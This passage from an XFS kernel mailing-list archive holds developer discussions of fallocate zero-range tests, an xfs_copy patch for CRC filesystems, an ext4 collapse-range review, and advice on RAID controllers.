Wed, 26 Feb 2014 08:58:43 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0CDF730406A for ; Wed, 26 Feb 2014 06:58:42 -0800 (PST) X-ASG-Debug-ID: 1393426722-04bdf05daa65930001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id vX26HNepcueeJjmG for ; Wed, 26 Feb 2014 06:58:42 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1QEwdpf030821 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 26 Feb 2014 09:58:39 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1QEwaMm022440 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 26 Feb 2014 09:58:38 -0500 Date: Wed, 26 Feb 2014 15:58:36 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dave Chinner cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range In-Reply-To: <20140225215011.GF13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range Message-ID: References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-6-git-send-email-lczerner@redhat.com> <20140225205349.GD13647@dastard> <20140225215011.GF13647@dastard> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-1831270982-1393426718=:2243" X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393426722 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --8323328-1831270982-1393426718=:2243 Content-Type: TEXT/PLAIN; charset=utf-8 Content-Transfer-Encoding: 8BIT On Wed, 26 Feb 2014, Dave Chinner wrote: > Date: Wed, 26 Feb 2014 08:50:11 +1100 > From: Dave Chinner > To: Lukáš Czerner > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero > range > > On Tue, Feb 25, 2014 at 10:01:06PM +0100, Lukáš Czerner wrote: > > On Wed, 26 Feb 2014, Dave Chinner wrote: > > > > > Date: Wed, 26 Feb 2014 07:53:49 +1100 > > > From: Dave Chinner > > > To: Lukas Czerner > > > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > > > Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero > > > range > > > > > > On Tue, Feb 25, 2014 at 08:15:28PM +0100, Lukas Czerner wrote: > > > > This is copy of xfs/242. However it's better to make it file system > > > > specific because the range can be zeroes either directly by writing > > > > zeroes, or converting to unwritten extent, so the actual result might > > > > differ from file system to file system. > > > > > > You could say the same thing about preallocation using unwritten > > > extents. Yet, funnily enough, we have generic tests for them because > > > all filesystems currently use unwritten extents for preallocation > > > and behave identically.... > > > > > > This test is no different - all filesystems currently use unwritten > > > extents, and so this test should be generic because all existing > > > filesystems *should* behave the same. > > > > > > When we get a filesystem that zeros rather uses unwritten extents, > > > we can add a new *generic* test that tests for zeroed data extents > > > rather than unwritten extents. All that we will need is a method of > > > checking what behaviour the filesystem has and adding that to a > > > _requires directive to ensure the correct generic fallocate tests > > > are run... > > > > Currently xfs/242 fails on xfs for me > > Really? Where's the bug report? I haven't seen a failure on xfs/242 > on any of my test machines for at least a year, even on 1k block > size filesystems... > > $ sudo ./check xfs/242 > FSTYP -- xfs (debug) > PLATFORM -- Linux/x86_64 test2 3.14.0-rc3-dgc+ > MKFS_OPTIONS -- -f -bsize=4096 /dev/vdb > MOUNT_OPTIONS -- /dev/vdb /mnt/scratch > > xfs/242 1s ... 0s > Ran: xfs/242 > Passed all 1 tests > $ Ok so once again. Yesterday was rally too late and I've misinterpreted the diff. It's not that xfs behaves differently, but rather ext4 behaves differently because we in fact have a code that will zero out entire unwritten extent if it's small enough rather than split it into unwritten and written. What we currently do not have is the zeroout of part of initialized extent on zero_range when the range to zero out is small enough. And ext4 behaves the same on the edges of the range as you describe below. Also xfs/242 fails for me on ppc64 but I've already sent that report. > > > > and it does behave differently than ext4. > > In what way? Does FALLOC_FL_ZERO_RANGE on XFS behave identically to > XFS_IOC_ZERO_RANGE, or is that different too? Or you haven't tested > it because you wrote this test as an ext4 specific test and so > haven't run this specific test exercising the FALLOC_FL_ZERO_RANGE > path in XFS? It does behave differently, but not because of zero_range code, but rather when writing into uninitialized extent which is small enough. The extent will not be split but rather converted to initialized and respective parts will be zeroed out. Btw that's actually the reason why we use _filter_hole_fiemap filtes instead of _filter_fiemap I've used in ext4/242. That said I think that both tests fs specific and fs independent have it's value so I'll create generic/242 as well by using _filter_hole_fiemap. And yes, I tested xfs with fzero and it does behave the same as XFS_IOC_ZERO_RANGE. > > IOWs, how do you know that what you are seeing is not a bug in the > ext4 (or XFS for that matter) implementation? > > > Also I had to change to 242.out a bit because ext4 was > > a little different. It seems to me that it was expected that when > > the extent is small enough it would be overwritten by zeroes rather > > than converted to unwritten, but I have not looked into > > implementation. > > The test assumes that sub-block head and tail ranges will be zeroed, > and everything else will be converted to unwritten extents. i.e. a > single block aligned range will get converted to unwritten, but a > single unaligned block range will result in the two overlapping > blocks being zeroed (because they still contain valid data). As I said above the difference in ext4 is that we're trying to avoid extent split when the extent is too small. But that's no different in punch hole testing, that's why we're using _filter_hole_fiemap filter in generic/255. > > This is the same sub-block zeroing behaviour as is done for > hole punching - the only difference between a hole punch and a zero > range on filesystems that use unwritten extents should be that the > range being operated on has unwritten extents rather a hole..... > > > Btw this kind of optimization is actually something I've been > > thinking of as well for ext4. Rather than going though the hassle of > > changing extents around it might be worth in some situation to zero > > out. But that's an optimization I have not implemented yet. > > Exactly my point - until such optimisations are implemented, all the > filesystems should be behaving the same way using unwritten extents, > just like for hole punching. Hence the tests should be checking that > the behaviour is the same across filesystems, just like we do for > hole punching. Using _filter_hole_fiemap filter in such test we would not make a difference between unwritten and written extent. However in the case of zero_range this somewhat make the test much less effective so it'll be worth having fs specific test as well as generic test I said above. Or we could actually directly inspect the data as we do in xfs/290, or generic/290 respectively. Thanks! -Lukas > > Cheers, > > Dave. > --8323328-1831270982-1393426718=:2243-- From sandeen@sandeen.net Wed Feb 26 10:22:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 76A1F7F3F for ; Wed, 26 Feb 2014 10:22:52 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4D3E8304043 for ; Wed, 26 Feb 2014 08:22:48 -0800 (PST) X-ASG-Debug-ID: 1393431766-04cb6c567566040001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id d9gbkNs8QrACm1C4 for ; Wed, 26 Feb 2014 08:22:46 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id A450863C59A4; Wed, 26 Feb 2014 10:22:45 -0600 (CST) Message-ID: <530E14D4.9050601@sandeen.net> Date: Wed, 26 Feb 2014 10:22:44 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss , Christoph Hellwig Subject: [PATCH V2] xfs_copy: band-aids for CRC filesystems References: <530D4B68.9090905@redhat.com> X-ASG-Orig-Subj: [PATCH V2] xfs_copy: band-aids for CRC filesystems In-Reply-To: <530D4B68.9090905@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393431766 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145535 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- xfs_copy needs a fair bit of work for CRCs because it rewrites UUIDs by default, but this change will get it working properly with the "-d" (duplicate) option which keeps the same UUID. Accept the the CRC magic valid, change the ASSERT() to an error message and exit more gracefully, and don't even get started if we don't have the '-d' option. Signed-off-by: Eric Sandeen --- diff --git a/copy/xfs_copy.c b/copy/xfs_copy.c index 9986fbf..f443568 100644 --- a/copy/xfs_copy.c +++ b/copy/xfs_copy.c @@ -684,6 +684,16 @@ main(int argc, char **argv) sb = &mbuf.m_sb; libxfs_sb_from_disk(sb, XFS_BUF_TO_SBP(sbp)); + /* + * For now, V5 superblock filesystems are not supported without -d; + * we do not have the infrastructure yet to fix CRCs when a new UUID + * is generated. + */ + if (xfs_sb_version_hascrc(sb) && !duplicate) { + do_log(_("%s: Cannot yet copy V5 fs without '-d'\n"), progname); + exit(1); + } + mp = libxfs_mount(&mbuf, sb, xargs.ddev, xargs.logdev, xargs.rtdev, 0); if (mp == NULL) { do_log(_("%s: %s filesystem failed to initialize\n" @@ -957,7 +967,13 @@ main(int argc, char **argv) ((char *)btree_buf.data + pos - btree_buf.position); - ASSERT(be32_to_cpu(block->bb_magic) == XFS_ABTB_MAGIC); + if (be32_to_cpu(block->bb_magic) != + (xfs_sb_version_hascrc(&mp->m_sb) ? + XFS_ABTB_CRC_MAGIC : XFS_ABTB_MAGIC)) { + do_log(_("Bad btree magic 0x%x\n"), + be32_to_cpu(block->bb_magic)); + exit(1); + } if (be16_to_cpu(block->bb_level) == 0) break; From tytso@thunk.org Wed Feb 26 10:48:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8ED107F3F for ; Wed, 26 Feb 2014 10:48:41 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 571D08F8052 for ; Wed, 26 Feb 2014 08:48:38 -0800 (PST) X-ASG-Debug-ID: 1393433316-04cb6c567768130001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id l4Tw58NttNCwyvUH (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Wed, 26 Feb 2014 08:48:37 -0800 (PST) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1WIhem-0001PU-RI; Wed, 26 Feb 2014 16:48:28 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 17AE55803C4; Wed, 26 Feb 2014 11:48:28 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1393433308; bh=Y0KOcpNEBR96BD83AtQeNfnBW5Utkrl0Y6UV1B4FFRU=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=exB+CGuc/7JqZq02l7Md0WMZelt9b+6sf91gMYLCj67q2Uf0Urv2dHndj5Cva9TY4 YeaOJSwCquk21NYM9hLdLT87jWRPaI1USvlhQiARokwQUpk3gufYiItNqMF2ZcYif7 p7AqbiO/OB4WjhoAu3rgUPmtMUXflwNFapcxV4oA= Date: Wed, 26 Feb 2014 11:48:28 -0500 From: Theodore Ts'o To: Namjae Jeon Cc: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH v6] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-ID: <20140226164827.GB11452@thunk.org> X-ASG-Orig-Subj: Re: [PATCH v6] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Mail-Followup-To: Theodore Ts'o , Namjae Jeon , viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan References: <1392908861-3563-1-git-send-email-linkinjeon@gmail.com> <20140222170930.GE26637@thunk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1393433317 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145536 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Feb 24, 2014 at 10:22:10AM +0900, Namjae Jeon wrote: > >> + ret = ext4_es_remove_extent(inode, punch_start, > >> + EXT_MAX_BLOCKS - punch_start - 1); > >> + if (ret) { > >> + up_write(&EXT4_I(inode)->i_data_sem); > >> + goto out_stop; > >> + } > > > > Doing this at first is probably a bad idea; you should do this at the > > end, and then completely invalidate the es cache for that inode. That > > way, the right thing happens if you get an error in the middle > > releasing the boxes and shifting the extents: > Okay, I see. Actually, thinking about this some more, we do want to do this first, since if we error out, we do need to make sure the extent cache is flushed. > If there is error in the middle of extent shifting, the hole will > present between the last shifted extent and the extent at which error > happen so this will be consistent state. > IMHO even if there is error in between the shift, filesystem will be > in consistent state. > Am I missing something? No, I was wrong about that; you're right. The file will be in an inconsistent statement, which will probably be highly confusing for the application, but the file system will be fine. So I withdraw my complaints. I'll do a bit more testing, but so far the patch looks fine to me. Thanks for your reply and your work! - Ted From stan@hardwarefreak.com Wed Feb 26 11:49:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A26F17F3F for ; Wed, 26 Feb 2014 11:49:39 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 794748F8071 for ; Wed, 26 Feb 2014 09:49:36 -0800 (PST) X-ASG-Debug-ID: 1393436975-04cb6c56776c0b0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id r6UjR4dEm7404O41 for ; Wed, 26 Feb 2014 09:49:35 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 300036C128; Wed, 26 Feb 2014 11:49:35 -0600 (CST) Message-ID: <530E292D.2080709@hardwarefreak.com> Date: Wed, 26 Feb 2014 11:49:33 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: "C. Morgan Hamill" CC: xfs Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <52E91923.4070706@sandeen.net> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> <20140202212152.GP2212@dastard> <1391443675-sup-1730@al.wesleyan.edu> <20140203214128.GR13997@dastard> <52F09E36.8050606@hardwarefreak.com> <1392748390-sup-1943@al.wesleyan.edu> <5303E7AC.50903@hardwarefreak.com> <20140220183125.29149.64880@al.wesleyan.edu> <5306C90B.1000904@hardwarefreak.com> <20140221095742.0ca161b0@galadriel.home> <530809A7.70900@hardwarefreak.com> <1393347755-sup-205@al.wesleyan.edu> <530CF84C.2080200@hardwarefreak.com> <1393423550-sup-1535@al.wesleyan.edu> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <1393423550-sup-1535@al.wesleyan.edu> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1393436975 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/26/2014 8:19 AM, C. Morgan Hamill wrote: > Excerpts from Stan Hoeppner's message of 2014-02-25 15:08:44 -0500: >> Only enough to recommend you to replace it immediately with an LSI or >> Adaptec. Areca is an absolutely tiny Taiwanese company with inferior >> product and, from what I gather, horrible support for North American >> customers, and Linux customers in general. The vast majority of their >> customers seem to be SOHOs and individuals using the boards in MS >> Windows servers, with very few running more than a handful of drives, >> and few running lots of drives doing serious work. > > Noted. > >> If you run into any kind of performance issue with their board, and >> explain to them your number of drives and arrays, OS platform and >> workload, they'll be baffled like a 3rd grader and have no idea how to >> respond. > > For better or worse, this will be in line with the "support" I've > experienced from the vast majority of vendors I've had to deal with. Edu's often have tight(er) budgets so this often goes with the territory, unfortunately. On the bright side, one tends to learn quite a bit about the hardware industry, the secret sauce that separates two vendors using the same ASICs, where the value add comes from, etc. This, out of necessity. >> The Areca uses inferior older technology, has inferior performance, >> limited firmware feature set which doesn't support spans >> (concatenation), near non-existent US support especially for advanced >> Linux workloads/users, only offers battery cache backup, and is all of ... >> >> $10 USD cheaper than the category equivalent yet vastly superior LSI. > > Does seem to be the case. > >> By some off chance you don't already know, LSI is the industry gold >> standard RAID HBA. They are the sole RAID HBA OEM board supplier to >> Dell, IBM, Intel, Lenovo, Fujitsu/Siemens, etc, and their ASICs are used >> by many others on their in house designs. LSI's ASICs and firmware have >> seen more Linux workloads of all shapes and sizes than all other >> vendors' RAID HBAs combined. > > I am aware; all our servers have LSI in them for boot arrays and > whatnot. > >> Given all of the above, and that there are at least 3 other LSI boards >> of superior performance, in the same price range for the past year, why >> did you go with Areca? > > For better or worse, they're what we were able to get from our white box > vendor. It will, unfortunately, have to do for now. I'll be sure to > make a note for future expansion. In that case, exercise it mercilessly with your workload to surface any problems the firmware may have with the triple RAID6 setup. Yank a drive from each array while under full IO load, etc. Even if Areca can't provide answers or fixes to problems you uncover, if you can identify problem spots before production, you can document these and take steps to mitigate them. > Until then, we'll just have to tread carefully. >From what I understand their hardware QC is decent so board failure shouldn't be an issue. The issues usually deal with firmware immaturity. They're a tiny company with limited resources thus they simply can't do much workload testing with multiple array configurations. Thus their customers running higher end workloads often end up being guinea pigs and identifying firmware deficiencies for them, and suffering performance chasms in the process. LSI, Adaptec, etc do have firmware issues as well on occasion. But their test lab resources allow them to flesh most of these out before the boards reach customers. > Thanks again for all of your help. You bet. -- Stan From sandeen@sandeen.net Wed Feb 26 12:29:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B47F67F3F for ; Wed, 26 Feb 2014 12:29:27 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7F72A8F8071 for ; Wed, 26 Feb 2014 10:29:23 -0800 (PST) X-ASG-Debug-ID: 1393439362-04cb6c56776e220001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Z2wjwFcRPcuj666w for ; Wed, 26 Feb 2014 10:29:23 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id BAC5B63C59A5; Wed, 26 Feb 2014 12:29:22 -0600 (CST) Message-ID: <530E3282.7000703@sandeen.net> Date: Wed, 26 Feb 2014 12:29:22 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Christoph Hellwig , Eric Sandeen CC: xfs-oss Subject: Re: [PATCH] xfs: clean up xfs_set_maxicount & use in growfs References: <530C29C7.90001@redhat.com> <20140226021114.GA26022@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: clean up xfs_set_maxicount & use in growfs In-Reply-To: <20140226021114.GA26022@infradead.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393439363 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145538 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/25/14, 8:11 PM, Christoph Hellwig wrote: > On Mon, Feb 24, 2014 at 11:27:35PM -0600, Eric Sandeen wrote: >> xfs_set_maxicount() overflowed fairly easily for large filesystems >> and large maxicount; we started out by multiplying dblocks by >> the percentage, *then* dividing by 100, and never checked for >> an overflow. The calculations were also, IMHO, a little hard >> to follow. > > Would be useful to get this test case into xfstests.. Ok so I was going on Dave's assertion about that. ;) To overflow, we'd need dblocks * 100 to be > 2^64-1: so dblocks would need to be > (2^64-1)/100 for 4k blocks that's 655 exabytes. Maybe not so possible after all ;) Dave, maybe just removing the open-code is enough here. -Eric >> -STATIC void >> +void >> xfs_set_maxicount(xfs_mount_t *mp) >> { >> xfs_sb_t *sbp = &(mp->m_sb); >> - __uint64_t icount; >> + __uint64_t iblocks; > > Seems like this could move into the if clause below. > >> @@ -388,6 +388,7 @@ extern int xfs_mod_incore_sb_batch(xfs_mount_t *, xfs_mod_sb_t *, >> extern int xfs_mount_log_sb(xfs_mount_t *, __int64_t); >> extern struct xfs_buf *xfs_getsb(xfs_mount_t *, int); >> extern int xfs_readsb(xfs_mount_t *, int); >> +void xfs_set_maxicount(xfs_mount_t *mp); >> extern void xfs_freesb(xfs_mount_t *); >> extern int xfs_fs_writable(xfs_mount_t *); >> extern int xfs_sb_validate_fsb_count(struct xfs_sb *, __uint64_t); > > A missing extern while all other prototypes around it have one seems > rather odd. > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From BATV+aecd5b2c528ca55684d7+3839+infradead.org+hch@bombadil.srs.infradead.org Wed Feb 26 14:48:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9ECD97F3F for ; Wed, 26 Feb 2014 14:48:26 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 827478F806F for ; Wed, 26 Feb 2014 12:48:23 -0800 (PST) X-ASG-Debug-ID: 1393447701-04cb6c567773f90001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id gvHgk2IBvXR64WaK (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 26 Feb 2014 12:48:21 -0800 (PST) X-Barracuda-Envelope-From: BATV+aecd5b2c528ca55684d7+3839+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WIlOs-00087j-Gw; Wed, 26 Feb 2014 20:48:18 +0000 Date: Wed, 26 Feb 2014 12:48:18 -0800 From: Christoph Hellwig To: Eric Sandeen Cc: Eric Sandeen , xfs-oss , Christoph Hellwig Subject: Re: [PATCH V2] xfs_copy: band-aids for CRC filesystems Message-ID: <20140226204818.GB26971@infradead.org> X-ASG-Orig-Subj: Re: [PATCH V2] xfs_copy: band-aids for CRC filesystems References: <530D4B68.9090905@redhat.com> <530E14D4.9050601@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530E14D4.9050601@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393447701 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145544 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Looks good, Reviewed-by: Christoph Hellwig From david@fromorbit.com Wed Feb 26 16:01:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 292DB7F3F for ; Wed, 26 Feb 2014 16:01:19 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0DF468F8052 for ; Wed, 26 Feb 2014 14:01:15 -0800 (PST) X-ASG-Debug-ID: 1393452069-04cb6c5678769d0001-NocioJ Received: from 